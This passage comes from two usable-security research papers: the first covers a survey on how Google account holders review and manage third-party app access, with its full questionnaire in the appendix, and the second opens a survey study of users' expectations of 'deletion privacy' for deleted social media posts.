amount of information different apps can view - especially

with my personal information” (P145).

If a participant affirmed they planned to review third-party

apps in six months, we asked them to tell us what they would

look for (Q220). Many participants (n = 43) would look for

apps that they no longer use, such as P137, who replied “I

would look for apps that I no longer use and if they still have

access to my account and to what parts of my account.” Some

participants (n = 22) said they would look for new apps that

have access to their account, e.g., “If any new apps are listed

that I don’t remember approving” (P169). Others (n = 22)

wanted to review changes to the list of apps with access to

their Google account. For instance, P138 explained:

I would look for any unexpected or new third parties and

just make sure that all of them have very limited access to

my personal information. I’d maybe continue to review

this page over time to make sure nothing has changed.

Some wanted to review changes to the existing apps, like

P180 who shared, “Check to see if anything has changed like

they got more access without saying anything.” Participants

(n = 8) also wanted to review how much access was allowed
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79 117

127 63Reapprove

Reminder

0% 25% 50% 75% 100%

Once every three years Once a year Once a month

Once a week Not at all

Figure 11: A majority of participants stated that they wanted

an email reminder to review their “Apps with access to your

account” page Once a month (Q222) and to reapprove apps

Once a year (Q223).

to third-party apps. For example, P210 stated:

I would want to know exactly what those apps have ac-

cess to. Actually wish there was more information there.

Seems like it is a little generic.

New Features and Design Changes. In an open-ended re-

sponse question, we asked what new features participants

would like to add to the “Apps with access to your account”

page (Q221). Many participants (n = 61) wanted the page to

display more detailed information and for the account access

to be more transparent, e.g, “An option to have even more

detail of what was exactly being accessed” (P68). A common

(n = 19) request was an app usage or data access log, like

when P17 replied:

I think it would be useful for them to show when I last

used an app and when the app last used my data, to see if

the app is using my data even when I have not used the

app in a while.

Another request (n = 12) was detailed permission explana-

tions, for instance when P174 demanded,

DETAILED information about what is available to third

party apps. Not just “access to your personal informa-

tion,” but “access to: your full name, age, date of birth,

street address.”

Permissions level control is also desired, e.g., “The ability

to remove certain accesses that I don’t think the app needs”

(P143), and some requested access timeouts, e.g., “Auto re-

moval of apps after 3 months of no use” (P156).

We asked participants how often they would like to be

reminded if Google were to provide an email reminder to

review their “Apps with access to your account” page (Q222).

Most participants (n = 117; 55 %) responded Once a month,

another 37 % (n = 79) want a reminder Once a year.

10 48 42 79 34

6 17 93 96

I would want to designate specific data as private and
inaccessible to third−party apps.

I would want third−party apps to seek my approval each time
they access my Google account.

0% 25% 50% 75% 100%

Strongly disagree Disagree Neither agree n...

Agree Strongly agree

Figure 12: Over half of participants Strongly Agree or Agree

they want third-party apps to seek approval each time they ac-

cess their Google account (Q225), and roughly 90 % of partic-

ipants Strongly Agree or Agree they want to designate specific

data as private and inaccessible to third-party apps (Q226).

One participant managed to submit a non-response, and is

excluded from this data.

Reapproving Apps. Additionally, we asked participants if

Google required them to reapprove the third-party apps with

access to their account, how often would they want to provide

reapproval (Q222). A majority of participants (n= 127; 59 %)

want to reapprove apps Once a year, while 29 % (n= 63) want

a reminder Once a month. Please see Figure 11 for the full

results of these questions.

When we asked participants if they would want third-party

apps to seek approval each time they access their Google

account (Q225) over half (n = 113; 53 %) agreed they want

third-party apps to seek approval each time they access their

Google account, while 27 % (n = 58) disagreed. We also

asked participants if they want to designate specific data (e.g.

certain emails, individual contacts, particular calendar events)

as private and inaccessible to third-party apps (Q226), and

most participants (n = 189; 89 %) agreed, few (n = 3; 1 %)

disagreed. Please refer to Figure 12 for the full results.

5 Discussion and Conclusion

In this section we offer conclusions and recommendations

for managing third-party apps and SSOs that access users’

Google accounts. We first discuss issues with handling dis-

used third-party access and the potential to have cascading

removal. Next, we focus on issues with transference of trust

from Google to third-party apps, and finally, we offer some

design improvement for “Apps with access to your account”

based on our observations and qualitative feedback.

Handling Stale Account Access. This research identifies

the need for limiting account access for unused, forgotten, or
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removed third-party apps. Participants either had not recently

used or were unsure when they had last used one in five third-

party apps in our study. Additionally, most participants ( 80%)

rarely or never reviewed the third-party account access. At

the same time, nearly half of participants wanted to modify

access after the study and over 70% wanted to do so within

six-months. Most participants indicated they would remove

unused apps or apps they no longer recall authorizing, but

the current interface for reviewing third-party apps does not

provide a record of last use.

Participants also expressed strong support (95%) for email

reminders to review their third-party apps at least once a year.

Moreover, participants highly favored (91%) a requirement to

reapprove account access at least once a year. Google could

send email reminders to all users to review “Apps with access

to your account” with additional details provided regarding

unused third-party apps. Review request could also be more

directed, perhaps asking users to review a single app at a time

so as not to overburden. Another possibility is to auto-expire

apps that have not been recently used or did not recently make

an API call. Facebook implemented a similar policy following

the Cambridge Analytica scandal [23], to expire app access

periodically and then require users to reauthorize.

Cascading Removal. Participants were surprised to find

apps in their “Apps with access to your account” page that

they believed were removed in other places. For example,

many smartphone applications leverage a Google Account

for functionality and authentication, and in these case, partici-

pants who removed that smartphone app believed they also

remove the third-party app access.

While expiring third-party apps, see above, would help

address this issue, cascading removal could provide addi-

tional support for users who attempt to manage access to their

Google account. A third-party app, or the user’s account, can

send a notification when a secondary application that lever-

ages the third-party app is removed from a user device, which

in turn allows the user to deactivate the third-party app access.

All Or Nothing Permissions. Users must approve all per-

mission requests for third-party apps or none, and many of

permission requests may not be fully understandable, contex-

tualized, or presented at the time of the access request. After

granting access, the “Apps with access to your account” offers

no permission-level control to limit account access; the only

option is to completely remove access.

Even without fine-grain controls, most participants in our

study find most permissions to be necessary for the functional-

ity of their apps; however, they consider some permissions un-

necessary and concerning, especially those that allow access

to view personal information that may include data beyond

just name and email address. Our qualitative data shows that

this practice is forcing users to consider a tradeoff between

their personal privacy and the benefits of third-party apps or

the convenience of SSOs.

Furthermore, when prompted to describe new features, par-

ticipants stated a desire for permission level controls, and

we recognize such a feature could have negative impacts on

the functionality of third-party apps. However, we recom-

mend that Google provide permissions level control for users’

personal data, for instance: “See your gender,” “See your

age group,” “View your street addresses,” “See and download

your personal phone numbers,” “See your personal info,” and

“Associate you with your personal info on Google,” which

likely are not used for app functionality.

Trust Transference. Google is a highly ranked and trusted

brand [27], so trust in Google transfers to Google products

and services, including third parties’ apps that access Google

accounts and services. We observed this in many open-ended

responses from participants that assumed (incorrectly) an

implied partnership between Google and third-party apps.

To Google’s credit, it attempts to mitigate this effect by

noting that users should “Make sure you trust [third-party app

name],” on the access authorization prompt. However, this

does not appear to be a sufficient intervention, and more so, it

places a potential undue burden on users to be able to properly

differentiate. This further suggests that better messaging, in

the form of nudges or reminders to review third-party apps, or

other automated mechanisms should be put in place to assist

users to better manage apps and services that access their

Google account.

Improving App Transparency Tool. We also note that

there are number of possible design improvements to the

existing “Apps with access to your account” page based on

participant recommendations offered during the study and our

findings. Nearly 90% of participants suggested that Google

should provide users with the ability to designate specific ac-

count data as private and inaccessible to third-party apps. For

instance: certain emails, individual contacts, and particular

calendar events. Moreover, adding a recent activity log that

includes data access details would allow users to determine

the frequency with which they use a third-party app and to

determine if it is accessing data while appearing inactive.

Improvements to the permission descriptive text could also

include specific details about which parts of the users’ Google

account data are accessible. For example, instead of “See

your personal info,” the personal info available to see should

be enumerated, e.g., full name, email address, age, street

address, and profile picture. Contextual information could

also be included, such as identifying the reasons a third-party

app is requesting a certain permission. For instance, “Zoom

has access to your Google calendar to schedule and modify

Zoom meeting times,” instead of simply noting it has access

to the calendar.
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A Appendix

A.1 First Survey

Please read the following instructions carefully:

• Take your time in reading and answering the questions.

• Answer the questions as accurately as possible.

Q11 Do you have a Gmail (Google) account?

© Yes © No

Privacy Notice: We do not transmit your email address to our server

as part of this study, and we will not be able to tie your email address

to any results or analysis. All uses of your email address are local to

your browser. The researchers will never see your email address. At

no time do the researchers have access to your Google account.

[Q12 through Q113 are shown if Q11 is “Yes”]

Q12 Do you use {participant email address} as your primary Gmail

(Google) account?

© Yes

© No, I use a different Gmail (Google) as my primary account

Q13 Whose Gmail address is it?

© It is my own account. I have sole ownership of this account.

© It is an institutional account. A business, school, or organization

gave it to me.

© It is my shared account. I share the account with someone else

(e.g., a partner or family member).

© It is someone else’s account. Someone else has sole ownership of

this account.

Q14 How long have you had this Gmail address as your primary Gmail

(Google) account?

© Less than 1 month

© Less than or about 1 year

© Less than or about 5 years

© Less than or about 10 years

© More than 10 years

© Unsure

Q15 What is the color of a red ball?

© Red © Round © Blue © Square

Use your Google Account to sign in to other apps or services

• You can use your Google Account to sign in to third-party apps

and services.

• You won’t have to remember individual usernames and pass-

words for each account.

• Third-party apps and services are created by companies or de-

velopers that aren’t Google.

Q16 Do you recall ever using your Google Account to sign in to third-party

apps or services as described above?

© Yes © No © Unsure

Q17 Thinking about the last time you used your Google Account to sign

into a third-party app or service, what app or service did you use your

Google Account to sign into? [Shown if Q16 is “Yes”] (short answer)

Q18 Thinking about the last time you used your Google Account to sign into

a third-party app or service, what did you consider before signing in

using your Google Account? [Shown if Q16 is “Yes”] (short answer)

Q19 If you were given the option to use your Google account to sign into a

third-party app or service, what would you consider before using this

feature? [Shown if Q16 is “No” or “Unsure”] (short answer)

Manage third-party apps & services with access to your Google

Account

• Google lets you give third-party apps and services access to

different parts of your Google Account.

• Third-party apps and services are created by companies or de-

velopers that aren’t Google.

• For example, you may download an app that helps you schedule

workouts with friends. This app may request access to your

Google Calendar and Contacts to suggest times and friends for

you to meet up with.

Q110 Do you recall ever granting a third-party app access to your Google

Account as described above?

© Yes © No © Unsure

Q111 Thinking about the last time you granted a third-party app access to

your Google Account, what was the purpose of allowing that access?

[Shown if Q110 is “Yes”] (short answer)

Q112 Thinking about the last time you granted a third-party app access to

your Google Account, what did you consider before granting a third-

party app access to your Google account? [Shown if Q110 is “Yes”]

(short answer)

Q113 If you were given the option to grant a third-party app access to your

Google Account, what would you consider before granting access?

[Shown if Q110 is “No” or “Unsure”] (short answer)

[Q114 through Q123 are shown if Q11 is “No”]

Use an existing online account to sign in to other apps or services

• You can use your existing account on various online platforms

(e.g., Facebook, Google, Apple, etc.) to sign in to third-party

apps and services.

• You won’t have to remember individual usernames and pass-

words for each account.

• Third-party apps and services are created by companies or de-

velopers that aren’t part of those platforms.

Q114 Do you recall ever using an existing online account to sign in to a

third-party app or service as described above?

© Yes © No © Unsure

Q115 Thinking about the last time you used an existing online account to

sign into a third-party app or service, what app or service did you sign

into? [Shown if Q114 is “Yes”] (short answer)

Q116 Thinking about the last time you used an existing online account to

sign into a third-party app or service, what online account did you use?

[Shown if Q114 is “Yes”] (short answer)

Q117 Thinking about the last time you used an existing online account to

sign into a third-party app or service, what did you consider before

signing in using that existing online account? [Shown if Q114 is “Yes”]

(short answer)

Q118 If you were given the option to use an existing online account to sign

into a third-party app or service, what online account would you use?

[Shown if Q114 is “No” or “Unsure”] (short answer)

Q119 If you were given the option to use an existing online account to sign

into a third-party app or service, what would you consider before using

this feature? [Shown if Q114 is “No” or “Unsure”] (short answer)

Manage third-party apps & services with access to your online

Account

• Online platforms let you give third-party apps and services

access to different parts of your accounts on those platforms.

• Third-party apps and services are created by companies or de-

velopers that aren’t part of those platforms.

• For example, you may download an app that helps you schedule

workouts with friends. This app may request access to your

online calendar (e.g., Google Calendar, Apple iCloud Calendar,

Microsoft Outlook, etc.) and contact list to suggest times and

friends for you to meet up with.
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Q120 Do you recall ever granting a third-party app access to one of your

online accounts as described above?

© Yes © No © Unsure

Q121 Thinking about the last time you granted a third-party app access to

one of your online accounts, what was the purpose of allowing that

access? [Shown if Q120 is “Yes”] (short answer)

Q122 Thinking about the last time you granted a third-party app access to

one of your online accounts, what did you consider before granting a

third-party app access to one of your online accounts? [Shown if Q120

is “Yes”] (short answer)

Q123 If you were given the option to grant a third-party app access to one of

your online accounts, what would you consider before granting access?

[Shown if Q120 is “No” or “Unsure”] (short answer)

These questions were followed by the 8 IUIPC items as described by

Malhotra et al. [25] and Groß [19].

D1 What is your gender?

© Woman

© Man

© Non-binary

© Prefer not to disclose

© Prefer to self-describe

D2 What is your age?

© 18 – 24

© 25 – 34

© 35 – 44

© 45 – 54

© 55 – 64

© 65 or older

© Prefer not to

disclose

D3 What is the highest degree or level of school you have completed?

© No schooling completed

© Some high school

© High school

© Some college credit, no degree

© Trade, technical, or vocational training

© Associate degree

© Bachelor’s degree

© Master’s degree

© Professional degree

© Doctorate degree

© Prefer not to disclose

D4 Which of the following best describes your educational background or

job field?

© I have an education in, or work in, the field of computer science,

computer engineering or IT.

© I do not have an education in, nor do I work in, the field of computer

science, computer engineering or IT.

© Prefer not to disclose

A.2 Second Survey

About Account Linking

• Users of online services can often link their accounts to products made

by other companies, which can operate on behalf of the user’s account.

For example, a user can link their Spotify account (i.e., a music stream-

ing service) to their Amazon Alexa (i.e., a voice-controlled smart

speaker) in order to play their favorite music.

• Your Gmail account, as a Google account, can also be linked in this

way. In the following questions, we ask about how your Google

account can similarly be linked to other (non-Google) services. Later

we will use a web browser extension to do further analysis of how you

may (or may not) link your Google account.

Explore Apps With Access To Your Account

• In the next part of the study, we will ask you to explore Google’s “Apps

with access to your account” page for your Google account.

• You will have an opportunity to interact with your Google’s “Apps

with access to your account” page for one minute and will then be

returned to the survey.

• We have disabled clicking for various links and buttons on the

Google’s “Apps with access to your account”page to help you focus

better on the access that third party applications have to your Google

account.

Participants explored their Apps with access to your account page.

Use your Google Account to sign in to other apps or services

• You can use your Google Account to sign in to third-party apps and

services. You won’t have to remember individual usernames and

passwords for each account.

• Third-party apps and services are created by companies or developers

that aren’t Google.

Participants view a list of SSOs authorized to their Google account.

Q21 You have [n] third-party apps and services that you can sign into using

your Google account. Before using my Google account to sign into a

website or third-party app, I consider:

Strongly disagree Disagree Neither agree nor disagree Agree Strongly agree

...how secure the app or website is. ©©©©©

...how the app or website will use your data. ©©©©©

...whether you can delete your data from the app or website. ©©©©©

...whether the app or website will tell you if something changes.©©©©©

...who else can see your data on the app or website. ©©©©©

Q22 How often do you review what services you can sign into using your

Google account?

© Never

© Rarely

© Daily

© Weekly

© Monthly

© Yearly

Manage third-party apps & services with access to your Google

Account

• Google lets you give third-party apps and services access to

different parts of your Google Account.

• Third-party apps and services are created by companies or de-

velopers that aren’t Google.

• For example, you may download an app that helps you schedule

workouts with friends. This app may request access to your

Google Calendar and Contacts to suggest times and friends for

you to meet up with.

Participants view third-party apps with access to their Google account.

Q23 You have [n] third-party apps and services that have access to your

Google account data. Before granting a website or third-party app

access to my Google account, I consider:

Strongly disagree | Disagree | Neither agree nor disagree | Agree | Strongly agree

...how secure the app or website is. ©©©©©

...how the app or website will use your data. ©©©©©

...whether you can delete your data from the app or website. ©©©©©

...whether the app or website will tell you if something changes.©©©©©

...who else can see your data on the app or website. ©©©©©

...what parts of your account the app or website can access. ©©©©©

Q24 How often do you review what services have access to your Google

account?

© Never

© Rarely

© Daily

© Weekly

© Monthly

© Yearly

Q25 The following apps are authorized to access various parts of

your Google account. Which of these apps would you prefer to

keep on your account? Which would you prefer to remove?

Keep Remove Unsure

[App 1] © © ©

[App 2] © © ©

[...] © © ©

[App n] © © ©
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Q26 Which of these is a sport?

© Hamburger © Basketball © Bathroom © Skyscraper

[Questions Q27 through Q214 are asked repeatedly for the newest app,

oldest app, and a random app.]

Participants view a selected app from their third-party apps.

Q27 Do you recall authorizing [App name]?

© Yes © No © Unsure

Q28 When was the last time you recall using [App name]?

© Today

© In the previous week

© In the previous month

© In the previous year

© More than a year ago

© Unsure

Q29 Prior to seeing the details about [App name], were you aware this app

had permission to access parts of your Google account data?

© Yes © No © Unsure

Q210 Please indicate how strongly you agree or disagree with the following:

Strongly disagree | Disagree | Neither agree nor disagree | Agree | Strongly agree

It’s beneficial to me for [App name] to
have access to my Google account. © © © © ©

I’m concerned with [App name] having
access to my Google account. © © © © ©

I want to change which parts of my Google account
that [App name] can access. © © © © ©

Q211 [App name] holds the following permissions to access parts of your

Google account. How **confident** are you that you understand what

each permission allows the app to do?

Not confident | Slightly confident | Moderately confident | Confident | Very confident

[App Permission 1] © © © © ©

[App Permission 2] © © © © ©

[...] © © © © ©

[App Permission n] © © © © ©

Q212 [App name] holds the following permissions to access parts of your

Google account. How **necessary** do you think each permission is

for the app to function in a way that benefits you?

Not necessary | Slightly necessary | Moderately necessary | Necessary | Very necessary

[App Permission 1] © © © © ©

[App Permission 2] © © © © ©

[...] © © © © ©

[App Permission n] © © © © ©

Q213 [App name] holds the following permissions to access parts of your

Google account. How **concerned** are you about the app accessing

your account using these permissions?

Not concerned | Slightly concerned | Moderately concerned | Concerned | Very concerned

[App Permission 1] © © © © ©

[App Permission 2] © © © © ©

[...] © © © © ©

[App Permission n] © © © © ©

Q214 Please describe any concerns you have about [App name] holding

these permissions. (short answer)

Manage third-party apps & services with access to your Google

Account

• By now, you have seen information about apps and websites

drawn from the “Apps with access to your account” page on

your Google account (similar to the example below).

• You can refer to that page when answering the following ques-

tions.

Third-party apps with account access

• You gave these sites and apps access to some of your Google

Account data, including info that may be sensitive.

• Remove access for those you no longer trust or use.

Signing in with Google

• You use your Google Account to sign in to these sites and apps.

• They can view your name, email address, and profile picture.

Q215 The “Apps with access to your account” page helps me to better un-

derstand which third-party apps and websites are linked to my Google

account.

© Strongly disagree

© Disagree

© Neither agree nor disagree

© Agree

© Strongly agree

Q216 The “Apps with access to your account” page helps me to better

understand what parts of my Google account third-party apps can

access.

© Strongly disagree

© Disagree

© Neither agree nor disagree

© Agree

© Strongly agree

Q217 After completing this survey, do you see yourself changing any set-

tings on your “Apps with access to your account” page?

© Yes © No © Unsure

Q218 In six months do you see yourself reviewing third-party apps from

your “Apps with access to your account” page?

© Yes © No © Unsure

Q219 You have indicated that you would change settings on your “Apps with

access to your account” page. Please describe which settings would

you change. [Shown if Q217 is “Yes”] (short answer)

Q220 What would you look for when you review the “Apps with access to

your account” page in six months? [Shown if Q218 is “Yes”] (short

answer)

Q221 What new features (if any) would you like to add to the “Apps with

access to your account” page? (short answer)

Q222 Suppose Google sent an email reminder to review your “Apps with ac-

cess to your account” page. How often would you like to be reminded?

© Once a week

© Once a month

© Once a year

© Once every three years

© I do not want to be reminded

Q223 Suppose Google required you to reapprove the third-party apps on

your Google account. How often would you like to reapprove apps?

© Once a week

© Once a month

© Once a year

© Once every three years

© I do not want to reapprove apps

Q224 Which of these is cold?

© Fire © Summer © Lava © Ice cream

Q225 Rather than approve all permissions when installing third-party apps, I

would want third-party apps to seek my approval each time they access

my Google account.

© Strongly disagree

© Disagree

© Neither agree nor disagree

© Agree

© Strongly agree

Q226 I would want to designate specific data (eg. certain emails, individual

contacts, particular calendar events) as private and inaccessible to

third-party apps.

© Strongly disagree

© Disagree

© Neither agree nor disagree

© Agree

© Strongly agree
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Abstract

In recent years, social platforms are heavily used by individu-
als to share their thoughts and personal information. However,
due to regret over time about posting inappropriate social
content, embarrassment, or even life or relationship changes,
some past posts might also pose serious privacy concerns for
them. To cope with these privacy concerns, social platforms
offer deletion mechanisms that allow users to remove their
contents. Quite naturally, these deletion mechanisms are really
useful for removing past posts as and when needed. However,
these same mechanisms also leave the users potentially vul-
nerable to attacks by adversaries who specifically seek the
users’ damaging content and exploit the act of deletion as
a strong signal for identifying such content. Unfortunately,
today user experiences and contextual expectations regard-
ing such attacks on deletion privacy and deletion privacy in
general are not well understood.

To that end, in this paper, we conduct a user survey-based
exploration involving 191 participants to unpack their prior
deletion experiences, their expectations of deletion privacy,
and how effective they find the current deletion mechanisms.
We find that more than 80% of the users have deleted at least
a social media post, and users self-reported that, on average,
around 35% of their deletions happened after a week of post-
ing. While the participants identified the irrelevancy (due to
time passing) as the main reason for content removal, most of
them believed that deletions indicate that the deleted content
includes some damaging information to the owner. Impor-
tantly, the participants are significantly more concerned about
their deletions being noticed by large-scale data collectors
(e.g., a third-party data collecting company or the govern-
ment) than individuals from their social circle. Finally, the
participants felt that popular deletion mechanisms, although
very useful to help remove the content in multiple scenar-
ios, are not very effective in protecting the privacy of those
deletions. Consequently, they identify design guidelines for
improving future deletion mechanisms.

1 Introduction

Today, billions of internet users share hundreds of billions
of pieces of their personal content (including life events, im-
ages, and opinions) on social platforms like Facebook or Twit-
ter. A recent Pew Research study [2] finds that seven out of
ten American adults use some kind of social platform. As
these platforms archive a significant number of posts over the
years, the often-personal nature of this social content does
make the users uncomfortable at times. Such discomfort may
originate from regret over time about posting inappropriate
social content, embarrassment, or even life or relationship
changes [13, 19, 21, 58, 61].

Almost all social platforms offer some mechanism to their
users to retrospectively remove their unwanted posts, and se-
lective deletion is frequently used—around 5% of posts that
are more than six years older were removed from Twitter
by 2016 [42, 43]. However, these selective deletions create a
catch-22 situation—deletions (meant to remove a post from
the platform), in practice, might bring unwanted attention
to deleted posts and make them more visible to an onlooker.
Many web services (e.g., Politwoops [7] for Twitter, Removed-
dit [9] for Reddit, StackPrinter-Deleted [11] for Stack over-
flow, and YouTomb [1]) collect and hoard specific deleted
posts from social platforms. Such services are intuitively
expected—due to the open and social nature of these plat-
forms, it is relatively easy to collect snapshots and identify
deleted social content. However, this social content (by virtue
of being selectively deleted) might already contain embar-
rassing or potentially damaging information. Indeed, a line
of work identifies the phenomena of leveraging deletion as a
signal to unearth potentially sensitive content as a violation
of “deletion privacy” [13,40,41,57,61], and there are already
several deployed as well as academic removal mechanisms
devoted to preserving deletion privacy [5, 6, 10, 40, 41].

From analyzing these mechanisms, we observe that pre-
serving deletion privacy involves designing and enforcing
access control rules to regulate when and how information
about the deletion events (and deleted content) is revealed
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to others. However, earlier research did not attempt to un-
cover these systematic access rules that regulate the desired
discoverability of deletion events. More specifically, there is
no prior work on understanding the need for providing dele-
tion privacy to social media users. In other words, there is no
evidence quantifying the importance of preserving deletion
privacy for social platform users. To that end, this paper takes
the first step towards understanding and operationalizing user
perceptions of deletion privacy.

Specifically, in this work, we conducted a survey-based
user study to uncover the need as well as contextual access
control norms governing deletion privacy in social platforms.
Our survey, collected quantitative and qualitative data from
191 participants spanning Europe and the US regarding their
perceptions of deletion privacy. We first investigated the prior
experiences of the participants regarding their post deletions
and corresponding deletion privacy expectations. We then
leverage contextual integrity theory [46] to identify key con-
textual factors (as perceived by users) for regulating access
and ensuring the preservation of deletion privacy. Finally, we
unearth the factors governing the usefulness of existing dele-
tion mechanisms. Specifically, we investigate the following
research questions (RQ).

RQ1: What are users’ experiences with deletions in social
platforms? Did some other users or organizations focus on
(or notice) their deleted social posts? How?

We investigated this RQ by asking each participant detailed
questions regarding their experience with deletions on social
platforms. We note that 82% of our participants deleted some
of their posts due to a number of reasons. This huge fraction
indicates the wide usage and consequent utility of deletions
to users of social platforms. Interestingly, 51% of the par-
ticipants felt that a deleted post is sensitive, damaging, or
embarrassing to its owner. Furthermore, 54 participants were
aware of others noticing their post deletions in social plat-
forms, and within our sample of fewer than 200 participants,
nine participants pointed out that when others noticed their
deletions, it resulted in discomfort.

While establishing the need for deletion privacy was a
prime goal of this work, a social platform would also need
to know if its users feel (un)comfortable in revealing their
deletions in a certain context. We explore this question next.

RQ2: On what contextual factors do rules regarding the
acceptability of revealing deletion events depend? How?

We used contextual integrity theory [46] to create a set of
contextual variables (e.g., recipients) and enumerated possible
values for each set of variables (e.g., family member, friend,
coworker, a company, government). We then collected user
feedback for combinations of all of those contextual variables
in our survey. We observe that most users seek to preserve
deletion privacy against large-scale data collectors (e.g., cor-
porations and government), but not so much against their
family, friends, and even coworkers.

Finally, we looked into the efficacy of the existing deletion-
privacy-enhancing mechanisms. To that end, we asked:

RQ3: Are existing mechanisms effective and useful for
enhancing deletion privacy? Why or why not?

We based this part of our study using short videos that
explained the high-level functionalities of different deletion
mechanisms. These mechanisms provide varying guarantees
to protect deletion privacy. Users find selective deletions (the
current deletion mechanism used by most social platforms) to
be ineffective in protecting their sensitive deletions. The same
users found the other mechanisms more effective (they also
identified their shortcomings). We provide a principled analy-
sis of the pros and cons of each of the existing mechanisms
via examining the users’ perceptions.

In summary, we begin to quantify the need for deletion
privacy in social platforms with a 191 participant user survey
in this work. Our key contributions include:

1. Establishing the users need to ensure deletion privacy in
social platforms. Our results demonstrate that users widely
leverage available deletion mechanisms, but they also care
about protecting their deletion privacy.

2. Showing the context-dependency of the rules for preserv-
ing deletion privacy. We identify the key contextual factors
that future developers should consider to align their system
functionalities with user expectations better.

3. Identifying key factors governing the usefulness of dele-
tion mechanisms to preserve deletion privacy. Future social
platform designers should consider these factors to ensure the
deletion privacy of users.

2 Background and Related Work

2.1 Deletion in Social Platforms
Deletion or the ability to remove content is a crucial func-
tionality in social platforms—often needed due to the social
nature of these platforms and the personal nature of social
content. Earlier work studied in detail the reasons behind
social content deletion. These reasons range from removing
regrettable content to removing content, which became ir-
relevant over time [13, 38, 42, 50, 58, 61]. In fact, multiple
prior works aimed to unpack user perceptions regarding their
understanding of deletion mechanisms and the impact of dele-
tions on post owners and other users. For example, Murillo et
al. found that users did not clearly understand that deletion
on their social platform interface might not guarantee the re-
moval of data from other places (e.g., the platform’s servers
or even other users’ walls) [45]. Another recent work found
that some users want to get notified if the content is deleted by
original owners [60]. These results underline the opaqueness
of current deletion mechanisms (leading to misunderstanding)
and the willingness of users to check for others’ deletions in
specific social contexts. Consequently, these earlier works
further motivate a need to investigate if users perceive that
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deletions, while extremely useful, might also create novel
privacy problems. We address this need in this work.

Specifically, even though deletion is crucial and widely
adopted, in some cases, the removal of a post can be a simple
and very effective indication of sensitive and/or damaging so-
cial content [40,41] in the post. Thus, a simple removal might
create an opportunity for an attacker to harass and blackmail
the users. Such deletion-based surveillance is not only rel-
evant to public figures, but also, for normal social platform
users, e.g., a French Twitter account, @FallaitPasSuppr, iden-
tifies and re-publishes deleted content of both French public
figures as well as normal users [3]. This situation is akin to
censorship backfire in the Streisand case, where censoring
(e.g., via removal) content actually attracts more attention and
causes a privacy violation [33]. Related works on understand-
ing censorship from the legal domain are highly relevant yet
orthogonal to our study—our efforts focus on primarily under-
standing the user perceptions as well as access control rules
regarding deletion privacy violation which can be utilized in
computational system design. Aside from censorship backfire,
our work is also built on the discourse on the “Right to be
Forgotten” article in GDPR [29]. Specifically for European
users, a deletion privacy violation can also be viewed as a
violation of the “Right to be Forgotten” (where a user wants
everyone to forget a deleted post). However, so far the “Right
to be Forgotten” and perceptions regarding this right is never
explored in this context of deletion privacy in social platforms.
Our work is one step in that direction.

In this study, our participants’ self-reported social content
deletion behavior is quite in line with earlier work (both qual-
itative and quantitative). E.g., in our study, 24% of the post
deletions happened within less than two minutes from post-
ing time (similar to [13], and 35% of tweets were deleted
in the long term. Many of the self-reported reasons behind
deletions in our study are also aligned with prior work (e.g.,
Fixing Spelling or Grammar). However, unlike some earlier
studies, a majority of our post deletions happened due to “Be-
ing irrelevant due to time passing,” hinting at the correlation
between post-withdrawal and time [20]. However, these prior
works did not investigate the extent and potential impact of
adversaries finding out deletion events, i.e., they did not ex-
plore deletion privacy. In this work, we fill this gap and show
(using self-reported data) that violation of deletion privacy is
indeed a very real problem for our participants. Furthermore,
our study identified concrete norms governing the privacy of
deletion events.

2.2 Social Content Deletion Mechanisms

We identify two key mechanisms for facilitating deletion in
social platforms:
Selective Deletion: The Majority of the social platforms to-
day provide a selective deletion mechanism–the posts are
available on the platform until the users themselves select

an unwanted post and delete it. However, selective deletion
might attract unwanted attention to particular posts [40].
Prescheduled Deletion: This mechanism automatically re-
moves the users’ contents when a specific criterion has been
triggered (e.g., after a predefined period or after prolonged
inactivity around the post [43]). E.g., Snapchat and Instagram
Stories support this feature where they delete posts after some
time. This mechanism ensures that an adversary cannot sin-
gle out the damaging deleted content as all posts are deleted.
However, it removes everything on the downside, implying
no archive of social content for users to reminiscence.

Aside from these two practically available mechanisms
(which we will primarily leverage in this study), other aca-
demically proposed mechanisms for content deletion are also
proposed. For example, Intermittent Withdrawal [40] offers a
deniability guarantee for users’ deletions using an availability-
privacy tradeoff. Whereas Decoy Deletion [41] leverage a
crowdsources pool of decoy posts to find k additional non-
damaging posts for each damaging post and deletes them
along with the damaging posts.

Although some of these deletion mechanisms aimed to
facilitate private deletion in social platforms; they did not con-
sider a fundamental question: is preserving deletion privacy
important for end-users today? In this work, we answered this
question affirmatively, and our study compares the effective-
ness of these mechanisms to protect deletion privacy.

2.3 Deletion Privacy as Contextual Integrity

Contextual Integrity (CI) [46] theory provides a systematic
framework for studying privacy norms and expectations. CI
defines privacy as appropriate flows of information. Each in-
formation flow consists of five parameters: subject, sender,
recipient, information type (or attribute), and transmission
principle. The appropriate information flows conform to the
socially acceptable values of these parameters. Earlier work
demonstrates that we can infer privacy norms (i.e., rules regu-
lating acceptable information flow) by measuring the accept-
ability of different information flows (created with a varying
combination of CI parameter values) [16, 17]. For example,
users in general might be comfortable when a fitness tracker
(sender) sends user’s heart rate (attribute) to the doctor (recip-
ient) to monitor the health status (transmission principle), but
uncomfortable if the recipient is a health insurance provider.
Given, a primary aim of this work is to understand societal
rules of deletion privacy we choose CI as a suitable frame-
work to unpack these rules. Consequently, we build our work
on the existing body of literature on CI and its applications.

Here, we aim to discover the effect of context on the accept-
ability of deletion events getting noticed. Thus, we modeled
this problem (deletion privacy) as simply ensuring the appro-
priateness of the flow of a deletion event initiated by a user
and noticed by a receiver.

Our work focuses on the flow of the deletion event informa-
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Table 1: Contextual integrity (CI) parameter values used to generate information flow of deletion events

Sender Transmission Principle Attributes
user itself because they were checking/observing your user profile regularly Post did not get enough attention
Recipient because they were mentioned in the post or interacted with the post Fixing Spelling/Grammar
your family member null Cleaning up profile for new job
your friend Subject Cleaning up profile for new relationship
your coworker/acquaintance that contained some information about yourself Racial/Religious/Political reason
a company that contained some information about your family members Being irrelevant due to time passing
the government that contained some information about your friends Removing sexual content
anyone that contained some information about your coworkers Removing drug/alcohol related content

null Removing violence/cursing related content
Removing health related content

tion, which starts from the user (when (s)he initiates content
deletion) to the receiver (who notices the deletion). In this
set-up for each flow, the sender is the user (who deleted), sub-
ject is who the deleted post was about (might be some other
groups of users).

We selected the CI parameter values relevant to deletion
privacy by surveying earlier work and conducting pilot studies.
Table 1 contains the full list of our CI parameter values. Note
that this list is not exhaustive. However, as a first, it does cover
a range of information flows in the scope of deletion privacy
and demonstrates the generality of our approach. Section 3.1
details the exact questions asked in our survey. Next, we
present our CI parameter values.

